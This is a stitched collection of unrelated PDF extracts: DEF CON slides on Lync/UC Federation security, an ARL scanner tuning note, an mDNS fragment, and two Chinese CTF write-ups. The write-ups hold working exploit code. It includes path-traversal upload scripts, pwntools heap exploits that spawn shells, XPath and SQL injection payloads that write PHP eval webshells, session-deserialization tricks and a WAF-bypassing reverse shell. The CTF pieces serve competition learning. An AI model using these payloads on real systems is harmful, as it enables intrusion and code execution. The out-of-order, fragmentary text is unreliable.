Avaya Proprietary - Do not reproduce or distribute without express written consent You can make changes to srv.c, adding support for new SRV queries. Enumerator can measure the usage of UC Federation services, or SIP enabled DNS SRV records, enabled on the public Internet. UC Federation – next “Killer App”? Avaya Proprietary - Do not reproduce or distribute without express written consent Some great insight from www.ucinsights.com UC Federation Market Definition: Being able to use UC between companies in the same way that it is used within the company (B2B Comms) IM / Presence VoIP HD Video Collaboration, Desktop sharing, white boarding Promises many business benefits! Looked at two vendors initially Cisco Microsoft Avaya Proprietary - Do not reproduce or distribute without express written consent Avaya Proprietary - Do not reproduce or distribute without express written consent Who is Federating? Matt Landis’ Federation Directory (This is a public directory) Avaya Proprietary - Do not reproduce or distribute without express written consent Who is Federating? Matt Landis’ (Public) Federation Directory Tried adding our test deployment into this directory. Not successful. Data from Matt Landis’ Public directory 9,705 domains for Microsoft UC Federation Top 3 countries: Canada USA Norway Avaya Proprietary - Do not reproduce or distribute without express written consent Another Lync Federation Public Directory Avaya Proprietary - Do not reproduce or distribute without express written consent We were able to add our test UC Federation deployment into this directory. Lync Federation - Architecture Avaya Proprietary - Do not reproduce or distribute without express written consent Lync Edge Server Corporation A Lync Edge Server Corporation B Lync Front-End Server Gilgamesh Tesla Mark Arelius Jerome Lync Front-End Server Lync Federation - Types Dynamic (SRV Discovery) Allows anyone to communicate with anyone Some restrictions apply (traffic throttling, contact lists) Enhanced/Direct Federation (Whitelist) For trusted partners Blacklist Specifically disallow Federation with a certain domain Avaya Proprietary - Do not reproduce or distribute without express written consent Lync Federation - Security Dynamic Federation seems like the weak point… If Dynamic Federation is employed by a company, their infrastructure is publicly accessible to all Knowing this, what can we exploit? Avaya Proprietary - Do not reproduce or distribute without express written consent Lync – Reverse Engineering To see what we could do with Dynamic Federation, we reverse engineered the Lync Client Registered two domains to Federate Made extensive use of the Lync Server Logging Tool and Lync Client Official Microsoft documentation sparse and unclear – reverse engineering much easier! Avaya Proprietary - Do not reproduce or distribute without express written consent Lync – Reverse Engineering Avaya Proprietary - Do not reproduce or distribute without express written consent Lync – Reverse Engineering Avaya Proprietary - Do not reproduce or distribute without express written consent Lync – Reverse Engineering It wasn’t all fun and games! For non-federated connections, messages require signing and NTLM authentication Convoluted, sometimes incorrect documentation! Results of this showed that the security is much tighter for non-federated connections Avaya Proprietary - Do not reproduce or distribute without express written consent Outcome of Reverse Engineering LyncSpoof Acts as a legitimate Lync client and connects to Lync Front-End Server Uses NTLM Authentication and message signing Federator Acts as a legitimate Lync Server and connects to another Lync Server via Federation Requires a cert from a public CA Avaya Proprietary - Do not reproduce or distribute without express written consent Video Demos Avaya Proprietary - Do not reproduce or distribute without express written consent Lync client SRV Automatic Sign-In Avaya Proprietary - Do not reproduce or distribute without express written consent Lync client SRV Automatic Sign-In Avaya Proprietary - Do not reproduce or distribute without express written consent SRV records for Automatic Sign-In Queries automatically sent by Lync: _sipinternaltls._tcp.example.com _sip._tls.example.com Avaya Proprietary - Do not reproduce or distribute without express written consent Other DNS RRs Avaya Proprietary - Do not reproduce or distribute without express written consent Source: Microsoft Summary Security vs. Usability Balance between “Discovery vs. Privacy” (or Confidentiality) The easier it is for a company to be “discovered” for UCF, the easier for business ~ the easier to attack Federation Technically speaking Using SIP for signaling / control plane RTP for apps requiring real-time communications DNS SRV for service lookups, so anyone can look up a target company using DNS! Microsoft appears to be market leader in UC Federation Strong default security with SIP TLS and SRTP Very difficult to peak into the encrypted messaging used, or is it?.... Avaya Proprietary - Do not reproduce or distribute without express written consent Source: Russell Bennett Avaya Proprietary - Do not reproduce or distribute without express written consent We should actually be able to decrypt those messages. We like to understand things So that’s what we did SIP TLS Proxy Tool Avaya Proprietary - Do not reproduce or distribute without express written consent Objective 1: Decrypt the SIP TLS message flow and learn how it works (Complete) Objective 2: Fuzzing engine (In development) How it works Avaya Proprietary - Do not reproduce or distribute without express written consent How it works Microsoft Lync client points to SIP TLS Proxy Proxy decrypts client traffic as a TLS server View traffic Proxy connects as TLS client to real Edge Server Proxy encrypts traffic Uses Python TLS module, sockets, multi- threading Avaya Proprietary - Do not reproduce or distribute without express written consent Decrypted SIP TLS Message #1 Avaya Proprietary - Do not reproduce or distribute without express written consent Client  Server Client sends a NEGOTIATE message with Compression of LZ77-8K Decrypted SIP TLS Message #2 Avaya Proprietary - Do not reproduce or distribute without express written consent Client  Server Server inspects compression header field and matches the value of LZ77-8K. Server responds with 200 OK, will support compression. Decrypted SIP TLS Message #3 Avaya Proprietary - Do not reproduce or distribute without express written consent Client  Server Client sends first SIP REGISTER message to Edge Server Decrypted SIP TLS Message #4 Avaya Proprietary - Do not reproduce or distribute without express written consent Client  Server Server responds with 401 Unauthorized and WWW- Authenticate header, telling client supported authentication methods (NTLM, TLS-DSK) Decrypted SIP TLS Message #5 Avaya Proprietary - Do not reproduce or distribute without express written consent Client  Server Client sends second SIP REGISTER message with Authorization header NTLM Decrypted SIP TLS Message #6 Avaya Proprietary - Do not reproduce or distribute without express written consent Client  Server Server responds with 401 Unauthorized and WWW- Authenticate header, containing gsappi-data for client NTLM authentication. Decrypted SIP TLS Message #7 Avaya Proprietary - Do not reproduce or distribute without express written consent Client  Server Client sends third SIP REGISTER message with Proxy-Authorization header and data, for NTLM. Decrypted SIP TLS Message #8 Avaya Proprietary - Do not reproduce or distribute without express written consent Client  Server Server responds with 200 OK. You can see the compressed stream of data sent by the server. Download Co-Author (Anil Mahale) Thanks Anil Python SIP TLS proxy is available for download http://enumerator.sourceforge.net/ Goal of building education and awareness Avaya Proprietary - Do not reproduce or distribute without express written consent Thanks Anil! Avaya Proprietary - Do not reproduce or distribute without express written consent Thanks Karl Feinauer Karl Feinauer VIPER Lab Developer DEF CON 20 Speaker Couldn’t make it here today Reverse engineered SIP messaging of Lync Authored LyncSpoof, Federator Somewhat of a mystery… Avaya Proprietary - Do not reproduce or distribute without express written consent Thanks Karl Feinauer Avaya Proprietary - Do not reproduce or distribute without express written consent Open Source UC Federation Can be used for inexpensive and out of band communication between groups of friends. Can be used for audio, video and instant messaging. Saves money by using open source software for servers and end points. Avaya Proprietary - Do not reproduce or distribute without express written consent Open Source Federation - Architecture Avaya Proprietary - Do not reproduce or distribute without express written consent Asterisk Federation and How it Works SRV Lookups When a user that is registered to a federated Asterisk server calls another user registered to another federated server his server simply performs an SRV lookup and places the call to the other user. In this scenario there is no need for SIP trunks to terminate calls at the PSTN. This means no long distance or international charges for phone calls between federated users. Avaya Proprietary - Do not reproduce or distribute without express written consent Our Open Source Federation Project SIP Federation Project Servers can appear to be in any part of the world by IP address (Linodes). We set up fake companies with SIP servers. We can call one another using SIP user agents on our cell phones and computers. This would be a great way for DefCon groups to stay in touch. If each group had a server and federated with one another using SRV records they could communicate very inexpensively. Avaya Proprietary - Do not reproduce or distribute without express written consent Our Configuration Files To get started doing this you can go to http://enumerator.sf.net and download a version of our configuration files. Avaya Proprietary - Do not reproduce or distribute without express written consent Conclusion One idea You could move your Asterisk server from internal network to Edge, with a public IP address (No NAT) Asterisk could function as a B2BUA - “Poor Man’s SBC” • RTP Media Anchoring • No NAT or Topology Hiding • Proof of Concept for business communication (offers No Security) Then host your own SIP for your organization using DNS SRV, using your domain Peer directly to other organizations using SIP and DNS SRV Remote SIP users could register and place calls as a local extension Keep your carrier SIP Trunk, for access to legacy PSTN IP QoS Avaya Proprietary - Do not reproduce or distribute without express written consent The “UC Cloud” - UC Federation and SIP DNS SRV Peering Avaya Proprietary - Do not reproduce or distribute without express written consent Conclusion – Peering in the New “UC Federation” Cloud Another Idea New UC/VoIP Cloud services using DNS SRV for SIP peering • Create your own new product/service for Cloud hosting for SIP DNS SRV peering (Linode.com) • Host your SIP server for your company in the cloud and experiment with SIP DNS SRV peering for Fun! (Linode.com) • IP QoS Avaya Proprietary - Do not reproduce or distribute without express written consent Mobile Carriers & Smartphones SIP and Federation on smartphones Very slow adoption In the US, it appears subscribers can’t opt for Data Only plans on Cellular/3GPP carrier networks Less incentive to use VoIP on my smartphone if I already have to pay my carrier for Voice Data only plans would be a compelling option and help build exciting new applications IP QoS for RealTime communications on Cellular/3GPP networks Avaya Proprietary - Do not reproduce or distribute without express written consent Mobile Carriers Data-Only plans just around the corner? Avaya Proprietary - Do not reproduce or distribute without express written consent NSA Secure Mobility Avaya Proprietary - Do not reproduce or distribute without express written consent WebRTC + Google WebRTC could be disruptive to all of this http://www.webrtc.org Realtime communications with Javascript and HTML5 natively in the browser (no plugins required) Avaya Proprietary - Do not reproduce or distribute without express written consent Metcalfe’s law Avaya Proprietary - Do not reproduce or distribute without express written consent The more people using SIP DNS SRV peering and/or UC Federation, the more valuable the network becomes. Thanks Contact Information William Borskey ([email protected]) Jason Ostrom ([email protected]) Karl Feinauer ([email protected]) For more information About VIPER: http://www.viperlab.net For live participants, presentation can be downloaded from http://enumerator.sf.net 82
pdf
CTF-WP-Nu1L CTF-WP-Nu1L WEB Game who_are_you? show_me_your_image PWN PWN1 PWN2 MISC 24word Reverse Flat srcleak py Crypto sm4 dp WEB Game who_are_you? xxe show_me_your_image 34 aaa.png/aaaaaa.png/aaaaaaaaa.png hint…/root/flag.txt # coding: UTF-8 import base64 import requests import urllib import re PWN PWN1 url="http://8037491c16b9419cbfde37b3412f2850ab40994a932a4b57.changame.ichun qiu.com/" def endfile(payload): filename=payload+'.png' url_base=url+'upload.php' named=requests.post(url=url_base,files={'file':(filename,'text')}) return urllib.unquote(named.text.split('img.php?name=')[1])[:4] payload = "../../../../../../.././root/flag.txt" if len(payload) % 3 != 0: exit('sorry') filed=re.findall(r'.{3}', payload) endf="" for i in range(0,len(filed)): print filed[i] endf += endfile(filed[i]) print requests.get(url+"img.php?"+urllib.urlencode({'name':endf})).text from pwn import * #io = process(['python','./test.py']) io = remote('df0a72047d6c.gamectf.com', 10001) #io = process('./pwn') import base64 context(arch='i386') global p def add(size,cont): global p p+='1\n' p+=str(size)+'\n' p+=cont def dele(idx): global p p+='2'+'\n' p+=str(idx)+'\n' def edit(idx,cont): global p p+='3'+'\n' p+=str(idx)+'\n' p+=cont PWN2 io.recvuntil('token') io.sendline('icq61ef0bb5a3803759c3c5a890adcea') raw_input() p='' add(0x200,'x'*0x200) add(0x200,'x'*0x200) add(0x200,'x'*0x200) add(0x200,'x'*0x200) add(0x104,'a'*0x104) add(0x104,'b'*0x104) add(0x104,'c'*0x104) edit(4,0x104*'a') edit(4,'aaaa'+p32(0x101)+p32(0x80eba50-12)+p32(0x80eba50- 8)+'a'*0xf0+p32(0x100)+'\x08\x01') dele(5) edit(4,p32(0x80eba40)+'\n') edit(1,p32(0x80ea4d8)+p32(0x80eba44)+p32(0x80ebad0)+'\n') edit(2,asm(shellcraft.sh())+'\n') edit(0,p32(0x80ebad0)+'\n') #raw_input("4") p+='1\n' #raw_input("5") p+='100\n' p+='cat /flag\n' #raw_input("6 ok") #p.sendline('icq61ef0bb5a3803759c3c5a890adcea') pay = base64.b64encode(p) print pay io.sendline(pay) io.interactive() from pwn import * def add(size,cont): p.recvuntil('>>>') p.sendline('1') p.recvuntil('string') p.sendline(str(size)) p.recvuntil('string') p.send(cont) p.recvuntil('Index is : ') return int(p.recvuntil('\n')[:-1]) def add666(size,cont): p.recvuntil('>>>') p.sendline('1') p.recvuntil('string') p.sendline(str(size)) p.recvuntil('string') p.send(cont) def dele(idx): p.recvuntil('>>>') p.sendline('3') p.recvuntil('index') p.sendline(str(idx)) def merge(s1,s2): p.recvuntil('>>>') p.sendline(str('4')) p.recvuntil('index') p.sendline(str(s1)) p.recvuntil('index') p.sendline(str(s2)) def merges(idxs): p.recvuntil('>>>') p.sendline('5') p.recvuntil('merged') for i in idxs: p.send(' ') p.send(str(i)) p.send('\n') #p = process('./pwn2',env={'LD_PRELOAD':'./libc1.so'}) p = remote('a32f094e35d7.gamectf.com', 20001) add(0x10,'aaaaaaaaaaaaaaaa') add(0,'') dele(1) raw_input() add(0,'') p.recvuntil('>>>') p.sendline('2') p.recvuntil('index') p.sendline('1') p.recvuntil('Notes are : ') heap = u64(p.recv(6).ljust(8,'\x00')) info(hex(heap)) add(0xa0,'\n') add(0x10,'\n') dele(2) dele(3) add(0,'') add(0,'') add(0,'') p.recvuntil('>>>') p.sendline('2') p.recvuntil('index') p.sendline('4') p.recvuntil('Notes are : ') addr = u64(p.recv(6).ljust(8,'\x00')) info(hex(addr)) add(0x10,'\n')#5 add(0x10,'\n')#6 add(0x10,'\n')#7 add(0x10,'\n')#8 add(0x10,'\n')#9 add(0x10,'\n')#9 add(0x10,'\n')#9 add(0x10,'\n')#9 add(0x10,'\n')#9 dele(5) dele(6) dele(7) dele(8) dele(9) dele(10) dele(11) dele(12) dele(13) add(16,'aaaaaaaa'+p64(0x221))#5 add(0x400,'\n')#6 p2=add(0x60,'aaaaaaaa\n')#7 add(0x400,'b'*(0x400))#8 add(0x230,'\x00'*0x210+p64(0x220)+p64(0x420)+'\n')#9 c=add(0x400-3-8,'a'*(0x400-3-8))#10 add(0x100,'\n') dele(9) dele(8) #0x559ee621af30 merges([10,4,4,5])#8 raw_input("1") add(0xa0,'aaaaaaa\n')#11 raw_input("1.1") b1 = add(0xa0,'aaaaaaa\n')#12 raw_input("2") b2 = add(0x90,'xxxaaxxx\n')#13 raw_input("3") print b1 print b2 print c MISC dele(8) add(0x408,'\x00'*0x400+p64(0x410)) dele(b1) dele(c) t1 = add(0x10,'\n') t2 = add(0x10,'\n') t3 = add(0x10,'\n') dele(t1) dele(t2) dele(t3) x = add(0xc0,'ppppp\n') p1 = add(0x60,'asshole\n') print p1 dele(p1) dele(p2) dele(b2) libc_base = addr - (0x7fd78d8f0b58-0x7fd78d52f000) hook = libc_base+3939056 one = libc_base+0xf2519 info(hex(hook)) add(0x60,p64(hook-0x23)+'\n') add(0x60,p64(hook-0x23)+'\n') add(0x60,p64(hook-0x23)+'\n') add666(0x60,'\x00'*0x13+p64(one)+'\n') #raw_input("4") #raw_input("5") #12,13->asshole #add(0x20,p64(heap+(0x000055a81d803c90- 0x55a81d803040))+p64(0)+p64(0)+p64(0x4e1-0x30)) p.interactive() zip pass:loli zipoffset loli ..... ..... ..... ..... !?!!. ?.... ..... ..... ..... .?.?! .?... .!... ..... ..... !.?.. ..... !?!!. ?!!!! !!?.? !.?!! !!!.. ..... ..... .!.?. ..... ...!? !!.?. ..... ..?.? !.?.. ..... .!.?. ..... ...!? !!.?! !!!!! !!?.? !.?!! !!!!! !!!!. ?.... ..... ....! ?!!.? !!!!! !!!!! !!?.? !.?!! !!!!! !!!!! !!!!! !!!!! !.!!! !!!!! !!!!! .?... ..... ..... ..!?! !.?.. ..... ..... ..?.? !.?.. ..!.? ..... ..... ...!? !!.?! !!!!! !!!!! !?.?! .?!!! !!!!! !!!!! !!!!! !!!.? ..... ..... ...!? !!.?. ..... ..... .?.?! .?... ..... ..... ...!. ..!.! !!!!. ?.... ..... ..... .!?!! .?!!! !!!!! !!!!! !?.?! .?!!! !!!!. ..... ..... ..!.! !!.!! !.!!! .!!!! !!!.. ..... ..... ...!. ?.... ..... ....! ?!!.? ..... ..... ..?.? !.?.. ..... ..... ..... .!.?. ..... ..... ..!?! !.?!! !!!!! !!!!! ?.?!. ?!!!! !!!!! !!!!! !!!!! !!.!! !!!.! !!!!! !!!.? ..... ..!?! !.?.. ....? .?!.? ..... .!.?. ookflag 24word binwalk ..... ..... ..!?! !.?.. ..... ..... ?.?!. ?.... ..... ..... ....! .!!!. !!!!! !!.?. ..... ..... ....! ?!!.? !!!!! !!!!! !!!!? .?!.? !!!!! !!!!. ..... ...!. ..... ..... ..!.! !!... ..!.? ..... ..... ...!? !!.?. ..... ..... .?.?! .?... ..... ..!.? ..... ..... ...!? !!.?! !!!!! !!!!! !?.?! .?!!! !!!!! !!!!! !!.!! !.?.. ..... ..... .!?!! .?... ..... ....? .?!.? ..... ..... ..... .!.?. ..... ..... ..!?! !.?!! !!!!! !!!!! ?.?!. ?!!!! !!!!! !!!!! !!!!! !!.!. ?.... ..... ..... .!?!! .?... ..... ..... .?.?! .?!.! !!!!. ?.... ..... ..!?! !.?.. ..... ...?. ?!.?. ...!. ?. gifmagicnumberps07flag Reverse Flat ollvmgithub 5checkflagflag uuid0-9a-f char flag[] = { 74, 50, 50, 54, 49, 67, 54, 51, 45, 51, 73, 50, 73, 45, 69, 71, 69, 52, 45, 73, 66, 67, 67, 45, 73, 69, 52, 49, 65, 53, 73, 53, 70, 52, 72, 66 } for (int i = 0; i < 42; i++) if (flag[i] + 48 >= 97 && flag[i] + 48 <= 102) { flag[i] += 48; } else if (flag[i] != '-' ) { flag[i] += 17; } srcleak C++ https://zhuanlan.zhihu.com/p/47574318func1sqrt func231 55+1 func6nextmnext0 1100001229 flag{927369-19324816-44435556-3996001-9865881-1229} py IDA ProcessorPyc puts(flag) Crypto sm4 githubsm4 dp https://zhuanlan.zhihu.com/p/43033684 int a[] = {13433, 4747, 17752, 33060, 31051, 48809, 29988, 6421, 20021, 38888, 24844, 20706, 11713, 34938, 12865, 6085, 37391, 32840, 31964, 27194, 8701, 48142, 27066, 28626, 37431, 39142, 46795, 21771, 44280, 40628, 35013, 18583, 5418, 4347, 43929, 9934, 46892, 19868}; int b[] = {13711, 7074, 79833, 42654, 23241, 41412, 61795, 6373, 19304, 1363, 1682, 66279, 76134, 60748, 10355, 63484, 30491, 34005, 51393, 38029, 7241, 4998, 18562, 16935, 66677, 51321, 13771, 49108, 52166, 8851, 16900, 31682, 16684, 12046, 16764, 64315, 76742, 14022}; int c[] = {832832835, -924053193, -307134635, -527578092, 998625960, -715102211, 3572182, -963194083, -475718185, -361574731, -678171563, 107566155, 608670527, 254218946, -81206308, -284228457, 373369420, 659110852, 165298084, -389004184, 893094421, -868933443, 44838205, -98551062, -59800920, -575871298, -748337118, 696390966, 427210246, -266607884, -555200820, -594235119, -233255094, 229291711, 711922719, 14476464, -783373820, 892608580}; int e[] = {973988289, -867920193, -132362266, -172451190, 1471255182, -242282199, 321870424, -897049789, -428663209, -256350703, -613466537, 321254055, 641759727, 344601346, -40281788, -217030057, 476060216, 767746297, 503093626, -102198850, 984358207, -415480559, 322813233, 178032672, 48876640, -467362638, -260077296, 923436845, 536082660, -138702820, -210365307, -397666023, -215329942, 274852104, 818217684, 41479433, -632022956, 1204798830}; int flag[38]; for (int i = 0; i < 38; i++) { int delta = b[i] * b[i] - 4 * a[i] * c[i]; flag[i] = (-b[i] + sqrt(delta)) / (2 * a[i]); printf("%c", flag[i]); }
pdf
优化ARL的⼀些坑的细节  0x00 前⾔  这篇⽂章主要是针对前⾯那篇关于漏扫优化的具体实践,实践时候也碰到了⼀些预想不到的问题包 括⼀系列ARL⾃身的bug问题。觉得有必要记录⼀下,也避免哪天硬盘挂了没备份忘记了怎么修改 的。 0x01 如何部署和调试代码  我通常是不进⾏单步调试的,毕竟ARL是python写的,有报错看报错,然后打印打印关键信息基本 我就知道哪⾥有问题要怎么改了。 我按照官⽅的安装⽅式是⼀键部署的docker版本,通过docker-compose来进⾏管理。 可以看到分为好⼏个容器,除了db和mq,剩下三个应该都是有具体ARL代码的。⽽我们前⾯所说 的例如增加host碰撞、增加扫描等实际上都是在arl_worker这个容器⾥,因此当我们对代码做修改 时,其实只需要覆盖掉worker容器⾥的具体执⾏的py代码就⾏了。当然为了减少问题,每次对代码 修改可以同时覆盖这三个容器⾥的ARL代码,使他们保持⼀致。 ⽐如我们修改了这个services⾥的altDNS.py,这个时候我们只需要把这个services的⽂件夹复制到 worker容器⾥直接覆盖就⾏了。 像这样,把本地的修改过的services⽂件夹复制到容器的app⽬录下覆盖掉⾥⾯的services⽂件夹, 就完成了⼀次代码修改更新,之后我们只需要restart⼀下容器即可 docker-compose restart worker ,不重启的话修改不会⽣效。 修改完重新跑容易报错,这时候我们需要做⼀些简单的排查,⽐如先多看看restart后容器是不是 up,如果报错了可能会不停的处于restart状态。 如果遇到执⾏错误了,这时候我们看看报了什么错 docker-compose logs 再在⽇志⾥寻找报错信息,基本上就可以找到哪⾥代码报错了,像上⾯这样。 修改错误后重新复制,容器就会正常了。还有个⽇志也要注意 项⽬⽬录下两个log是映射的容器内的两个⽇志,这⾥也会有⼀些其他的错误⽇志可以看。经常看 ⽇志可以对实际运⾏情况进⾏了解,也能找到很多arl⾃身的bug。 0x02 修复⼀个ARL的隐藏bug 1  这个bug只有在进⾏⻓时间重型扫描任务时才会出现,它会导致扫描任务假死,处于永远的进⾏ 中。 在运⾏了很⻓时间没有结束的任务时,你可能会从⽇志⾥找到这个报错。如果有这个报错那么它会 导致你任务⼀直卡着不会结束。 https://groups.google.com/g/celery-users/c/5dPhSfF5APQ https://stackoverflow.com/questions/67907336/celery-task-with-a-long-eta-and-rabbitmq 参考这⼏个帖⼦,⼤概可能是rabbitmq提前触发默认超时报错了,导致celery的任务卡在那边。解 决⽅式是修改rabbitmq的配置。 https://www.rabbitmq.com/consumers.html#acknowledgement-modes 我们进⼊到rabbitmq的容器⾥,在rabbitmq的配置⽬录下创建⼀个advanced.config⽂件写⼊上⾯ 的配置内容,把超时时间改成undefined。修改完成后restart⼀下容器就会⽣效了。 0x03 修复⼀个ARL的隐藏bug 2  在app->utils->conn.py的http_req函数⾥有个bug,这⾥conn如果遇到链接错误没有做异常捕获会 导致上层调⽤的进程直接报错退出。 我在fileleak这⾥看到的这个报错,因此我直接在这⾥加⼊了异常捕获。如果不加,基本上扫描⼗次 ⼋次会中断报错。 0x04 集成xray时候的问题  xray的集成废了好⼤的劲,有⼀些坑吧,我也不知道我解决的对不对,总之按照我的⽅式算是解决 了。 xray在执⾏的时候会寻找⽬录⾥的配置⽂件,⽽我们是通过arl来执⾏的xray所以⽬录的相对位置会 有⼀定影响,具体过程我就不说了,我是这样解决的。 把这三个yaml放到arl主⽬录⾥,然后还有xray的主⽂件夹,在主⽂件⾥我们在放⼊⾃⼰要⽤的 config再通过参数来指定config.yaml的位置,这样执⾏就不会报错了。如果没有把这三个yaml⽂件 放在根⽬录是会报错的。 其次,xray在容器内执⾏依赖于⼀个libpcap.so,解决⽅式是把Linux⾥正常的复制到容器⾥的lib⽬ 录下。 这两个做完后,xray的执⾏基本上是不会有问题了。 接下来是arl⾥和xray对接的⼀些细节问题。之前说过把xray的json格式输出后对接到nuclei的字段 ⾥,整体处理思路是没有问题的。但是xray的json输出很⼤的问题在于字段不太固定。它不像 nuclei⼀样如果⼀个字段没有值会置空,⽽是直接没有这个键值,因此我们在映射的时候可能会遇 到json获取键值获取不到直接报错的问题。 这⼀点确实要吐槽,太坑⼈了。我⽬前是这样做的。 实现效果 验证命令这⾥会展示完整的请求和响应,直接复制出来贴到vscode⾥看就⾏了 还算是⽐较⽅便的,就是xray可能误报⽐较多需要进⼀步优化⼀下。 0x05 总结  基本这样就够⽤了,后⾯重点在指纹收集、⽬录爆破和合理的扫描策略上进⾏优化即可。
pdf
mdns 0x00 0x01 systemd-resolved ​ ​ ​ ​ ​ ip.dst_host==224.0.0.251 and udp.port==5353 0x02 mdns ​ systemd-resolve resolvectl avahi-* ​ ​ ​ ​ ​ ​ 0x03
pdf
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130
pdf
PENTEST ETO(200) 学到了姿势,盲注还可以这么搞= =测试了几发,发现是 xpath 的注入: 然后爆破不出来,根据提示说要利用可见字符,于是学到新技能: 就是利用: 测试 http://eto.sctf.xctf.org.cn/?action=user&id =6 or count(//user)=5(确认user节点存在) http://eto.sctf.xctf.org.cn/?action=user&id=6 or count(//user/password)=5(确认password字段 存在) http://eto.sctf.xctf.org.cn/?action=user&id=6 or string-length(//user[1]/password)=32(确认 YeWenjie的密码是32位) 存在的字符去盲注出密码。一发脚本,得到最后密码,其中有一位注不出来,猜了几个就猜 出是 m 来了= =: Homework(200) 随手注册一发,是发现可以利用’php://filter/read=convert.base64-encode/resource=’去读 到源码,看一下注册的源码。看到了是用 imagecreatefromgif 等函数处理上传图片的,于是 想起了 http://www.freebuf.com/articles/web/54086.html:,然后就是改图片上传去包含就行 了: 直接执行任意命令,拿到最后 flag: Sycshell(200) 依旧是先看源码,一开始对着 index 上的东西看了好久…在源码里发现内部资料: 本地添加 host 去访问,发现是张猫,看源码发现大量 jsfuck,找工具进行解密: 发现目录,访问之: 用%0b.1e1 可以绕过 pass: 然后继续,发现能文件包含,读了下 waf: 可以发现把 phar 以及 zip 禁了,然而…大写绕过就可以了,下面问题来了,如何去 getshell, 又学到了东西,利用 LFI 以及 phpinfo 去写缓存文件。 参考文章:http://www.freebuf.com/articles/web/79830.html,然后改了发脚本,因为这里可 以用 ZIP 去绕过并读取文件,打包一个 zip 然后去读取不断上传,最终拿到 shell: <?php $c=fopen("/tmp/hhh.php",'w'); fwrite($c,'<?php eval($_POST[f]);?>'); ?> DrugMarket1(300) 首先在 404 源码里面发现真正的网址:http://drug.spentest.com/,访问一发,主页貌似 没有很大用处,看下源码: 发现存在一个类似于留言评论的输入框,一开始想的是 xss,结果随手试了试文件包含= = 然后发现居然可以读 session 的临时文件,测试了下,发现是直接把 name 写进 session 去, 然后直接姓名写入一句话,直接成功拿到 shell: 然而发现上去权限做的好死……尴尬了,又想是渗透题,现在这个的 shell 不是我们最终想要 的那个 shell,于是翻到配置文件,发现数据库的用户名和密码都是套路,很容易猜对了: 然后登入 drug 的数据库,利用 upadte 去 xss 打到 drug 的后台以及 cookie: 然后登陆到后台: 目测是要执行命令,然后主办方说要绕 waf,然后绕啊绕,发现空格也不行,但能用{IFS}去 绕过,同时 nc 监听的端口只能是 80,于是思路就明确了: 最终 payload 以及 flag: 一台80端口 没被占用的 vps,nc监听 利用一台 web服务的 vps去wegt 绕过waf拿到 Reverse shell 然后在自己的 vps 上连接就好了: Hackme(300) 写在题目前面的话,这个题目真心不只值 300 分 拿到题目,发现存在注入点,但是问题在于空格被过滤了,使用/*111*/绕过,可以读 取文件,尝试读取 nginx 的错误日志找到后台,然后尝试读取 php 文件权限不够。下午得 到提示 xss 和管理员会查看备忘录,想到写 xss 到数据库中,发现确实可以 x 到数据但是没 用,结合提示想到利用 xss 去读取浏览器缓存,方法无非就是伪造登录框,hook 登录按 钮,偷窃浏览器的已保存密码之类的,在比赛中因为不可能有人手动输入,所以最后可能 的就是利用浏览器保存的密码。于是发送一个表单过去让他自动填上 username 和 password,之后 get 回本地,得到密码 nizhendeyongyuancaibudaomimade,这是对我们赤 裸裸的嘲讽,登陆发现是文件下载,之后尝试下载本目录下所有文件,发现../ ..\被过滤 了,但是只过滤了一次,使用…/./绕过下载其他的文件。源码见附件。发现一个 session.php,里头源码是 freebuf 的 http://www.freebuf.com/articles/web/90837.html 这个文 章,想到可控 session,然后发现 sql 注入那里可以写文件到/tmp 目录下,之后去读取 php.ini 发现 session 的存放位置是/tmp/,意味着 session 我们完全可控,另一个就是 Path 路径里包含了/tmp/,也就是说当遇到一个未知的类,spl_autoload_register 会自动去 Path 路径里寻找"类名.inc"或者"类名.php",并自动 include 进来,而/tmp/目录又是完全可控的 (sql 注入写文件)。于是首先 http://hackme.sctf.xctf.org.cn/index.php?id=0.0union/*!00000select*/'<?php\r$_GET[a]($_GET[ b]);\r?>'into/*111*/outfile'/tmp/albert6.php 写入文件,然后 http://hackme.sctf.xctf.org.cn/index.php?id=0.0union/*!00000select*/load_file/*000*/('/tmp/al bert6.php')读取文件确认写进去了,然后 http://hackme.sctf.xctf.org.cn/index.php?id=0.0union(/*!11111select*/'a|O:7:"albert6":0:{}'into/ *1234*/outfile'/tmp/sess_albertchangalbertchangalbe')导出 session,然后 带着 session 登陆后台,同时 访问 http://hackme.sctf.xctf.org.cn/05d6a8025a7d0c0eee5f6d12a0a94cc9/main.php?a=assert&b=${f puts%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2 YWwoJF9QT1NUW2NdKTsgPz4x%29%29};在 web 目录下生成 c.php,密码为 c 之后访问, 成功执行 phpinfo,然后去读取文件,发现并不能成功读取,猜测有 waf,于是在 http://hackme.sctf.xctf.org.cn/05d6a8025a7d0c0eee5f6d12a0a94cc9/目录下写入.user.ini 内容 open_basedir=/,然后就可以直接读取上层目录了,尝试一下写入一个.user.ini 来覆盖上层 目录的 open_basedir 的设置。 耐心的等待 5 分钟,使用 glob 并结合 file_get_contents,查找一下就能发现 flag 在这里 发现了 flag MISC 签到题(10) 直接微博询问即可,跟去年一模一样。。。都是套路 神秘代码(200) 拿到题目二进制查看图片发现 0xFF 0xD8 开头,马上搜索文件结尾标志 0xFF 0xD9,找到 压缩包 r.zip。 r.zip 包可以无限次解压。 期间尝试修改 zip 突破死循环,使用 Stegsolve 提取,然后做了非常多的无用功。直到官方提 示。 开始安装 stegdetect。 找到 ftp://ftp.gwdg.de/pub/linux/misc/ppdd/jphs_05.zip。 然后尝试提取数据,开始猜口令。SCTF,SCTF2016,CTF,sycsec 等不断尝试。 最后竟然发现是空口令。 拿到 flag:SCTF{Hacking!} Misc300(300) PWN Pwn100(100) 栈溢出,覆盖 argv[1]读 flag。 脚本: #!/usr/bin/env python2 # -*- coding:utf-8 -*- from pwn import * import os # switches DEBUG = 1 # modify this io = remote('58.213.63.30',60001) # define symbols and offsets here # simplified r/s function def ru(delim): return io.recvuntil(delim) def rn(count): return io.recvn(count) def sl(data): return io.sendline(data) def sn(data): return io.send(data) def info(string): return log.info(string) # define interactive functions here # define exploit 